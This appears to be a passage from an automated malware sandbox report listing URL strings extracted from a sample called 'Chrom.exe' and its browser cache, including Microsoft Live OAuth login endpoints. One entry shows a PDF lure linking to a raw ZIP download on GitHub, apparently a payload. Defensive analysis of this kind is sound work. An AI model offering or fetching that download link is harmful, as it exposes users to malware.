Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSymu1aB.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTVOmu1aB.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkAnkaWzU.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkBXkaWzU.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkBnka.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkC3kaWzU.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCHkaWzU.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCXkaWzU.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkCnkaWzU.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkaHkaWzU.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO5CnqEu92Fr1Mu53ZEC9_Vu3r1gIhOszmkenkaWzU.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3-UBGEe.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3CUBGEe.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3GUBGEe.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3KUBGEe.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3OUBGEe.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3iUBGEe.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBA.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMawCUBGEe.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMaxKUBGEe.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufA5qW54A.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufB5qW54A.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufC5qW54A.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufD5qW54A.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufJ5qW54A.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufN5qU.woff2)
Source: chromecache_356.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufO5qW54A.woff2)
Source: Reversed order 24-25.pdf	String found in binary or memory: https://github.com/donmodely2k/poczta.github.io/raw/refs/heads/main/Reversed%20order%2024-25.zip)
Source: chromecache_392.10.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_360.10.dr	String found in binary or memory: https://github.com/zloirock/core-js
Source: chromecache_360.10.dr	String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.23.4/LICENSE
Source: chromecache_340.10.dr	String found in binary or memory: https://gmpg.org/xfn/11
Source: Chrom.exe, 00000018.00000002.2080095589.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.0000000000748000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2571316526.0000000000716000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004BE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000002.2570339797.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000002.2595073740.0000000000573000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000002.2629198936.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000006B.00000002.2619229024.00000000004FE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000006C.00000002.2622653188.0000000000843000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000083.00000002.2627803753.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.liv
Source: Chrom.exe, 00000062.00000002.2627762833.000000000052E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.liv:
Source: Chrom.exe, 00000045.00000002.2500818844.0000000000524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.livQ
Source: Chrom.exe, 00000014.00000002.2025291766.00000000006B0000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.0000000000748000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2583353190.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2571316526.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002D.00000002.2565300989.00000000005CE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004BE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.00000000004FE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000002.2493039380.0000000000701000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000002.2500818844.0000000000511000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000002.2595714644.0000000000792000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000002.2588167581.0000000000608000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.0000000000758000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000002.2570339797.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000002.2627762833.000000000052E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000002.3701475231.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006A3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.0000000000814000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000002.2595073740.000000000055E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: Chrom.exe, 00000046.00000002.2595714644.0000000000792000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_auu
Source: Chrom.exe, 00000018.00000002.2080095589.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2583353190.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2571316526.0000000000716000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000002.2570339797.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000002.2627762833.000000000052E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000002.3701475231.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000002.2629198936.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000069.00000002.3747421468.0000000000631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2LMEM
Source: Chrom.exe, 00000018.00000003.2078748551.000000000050A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000003.2394295208.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000003.2374011355.0000000000B2A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2554739081.000000000089A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2531477013.00000000009CA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002D.00000003.2527409986.000000000089A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000003.2529246204.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000003.2569915057.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000003.2572979472.00000000009FA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2448731631.00000000006CA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2496715725.000000000096A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2568133088.000000000070A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2561833835.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000003.2589503257.000000000097A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2554919922.000000000098A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2617686273.000000000096A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000003.2584725001.000000000067A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000003.2594990005.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2572963710.000000000050A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2621447650.000000000094A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000068.00000003.2521648658.0000000000AAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfh
Source: Chrom.exe, 00000018.00000002.2080095589.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2583353190.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000002.3701475231.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000002.2595073740.0000000000573000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000006C.00000002.2622653188.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc
Source: Chrom.exe, 00000067.00000002.2629198936.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc&nxG0
Source: Chrom.exe, 00000014.00000002.2025291766.00000000006B0000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.0000000000748000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2583353190.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2571316526.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002D.00000002.2565300989.00000000005CE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004BE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.00000000004FE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000002.2493039380.0000000000701000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000002.2500818844.0000000000511000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000002.2595714644.0000000000792000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000002.2588167581.0000000000608000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.0000000000758000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000002.2570339797.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000002.2627762833.000000000052E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000002.3701475231.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006A3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.0000000000814000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000002.2595073740.000000000055E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: Chrom.exe, 00000046.00000002.2595714644.0000000000792000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: Chrom.exe, 00000027.00000002.2571316526.0000000000716000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lcC
Source: Chrom.exe, 00000083.00000002.2627803753.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lcI
Source: Chrom.exe, 0000005B.00000002.2570339797.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lcsY
Source: Chrom.exe, 0000001C.00000002.2476337086.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.0000000000748000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2583353190.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002D.00000002.2565300989.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.0000000000514000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000002.2595714644.0000000000792000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000002.2627762833.000000000052E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006B5000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000002.2629198936.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000068.00000002.2569018469.000000000070E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000083.00000002.2627803753.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srfLMEM
Source: Chrom.exe, 00000014.00000003.2024316434.0000000000969000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2025554313.0000000000969000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000003.2078967917.0000000000509000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2079980849.0000000000509000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000003.2411337902.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2523743400.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2469092541.0000000000B29000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000003.2376587992.0000000000B29000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2589614605.0000000000899000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2559870006.0000000000899000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2543230608.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2575640510.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002D.00000003.2527836711.0000000000899000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002D.00000002.2574382763.0000000000899000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2534528475.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000003.2530477559.00000000004E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000003.2572636112.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2600425949.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000003.2574755913.00000000009F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2600213260.00000000009F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2456539492.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.liv
Source: Chrom.exe, 00000024.00000002.2439968267.0000000000748000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2583353190.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2571316526.0000000000716000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000002.2500818844.0000000000524000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000002.2570339797.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000002.2627762833.000000000052E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006B5000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000006B.00000002.2619229024.00000000004FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=000000004
Source: Chrom.exe, 0000001C.00000002.2476337086.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=000000004$
Source: Chrom.exe, 0000002F.00000002.2590219709.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=0000000042KPt7
Source: Chrom.exe, 00000018.00000002.2080095589.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.0000000000748000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2583353190.000000000064E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2571316526.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002D.00000002.2565300989.00000000005CE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.00000000004FE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000002.2595714644.0000000000792000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000002.2570339797.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000002.2627762833.000000000052E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000002.3701475231.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000002.2595073740.000000000055E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000068.00000002.2569018469.000000000070E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000006A.00000002.2610906651.0000000000683000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000006B.00000002.2619229024.00000000004FE000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000006C.00000002.2622653188.000000000082E000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000083.00000002.2627803753.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: Chrom.exe, 00000066.00000002.2595073740.0000000000573000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=000000004V
Source: Chrom.exe, 00000067.00000002.2629198936.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=000000004Wm
Source: Chrom.exe, 0000006C.00000002.2622653188.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=000000004X
Source: chromecache_340.10.dr	String found in binary or memory: https://schema.org/CreativeWork
Source: chromecache_340.10.dr	String found in binary or memory: https://schema.org/WPHeader
Source: chromecache_340.10.dr	String found in binary or memory: https://schema.org/WebPage
Source: chromecache_340.10.dr	String found in binary or memory: https://wordpress.org/plugins/html-forms/
Source: Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/?p=9959
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/ar/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/ary/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/bn/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/comments/feed/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/es/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/es_pe/oders-pdf/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/feed/
Source: chromecache_340.10.dr	String found in binary or memory: https://www.woluntech.com/id/oders-pdf/
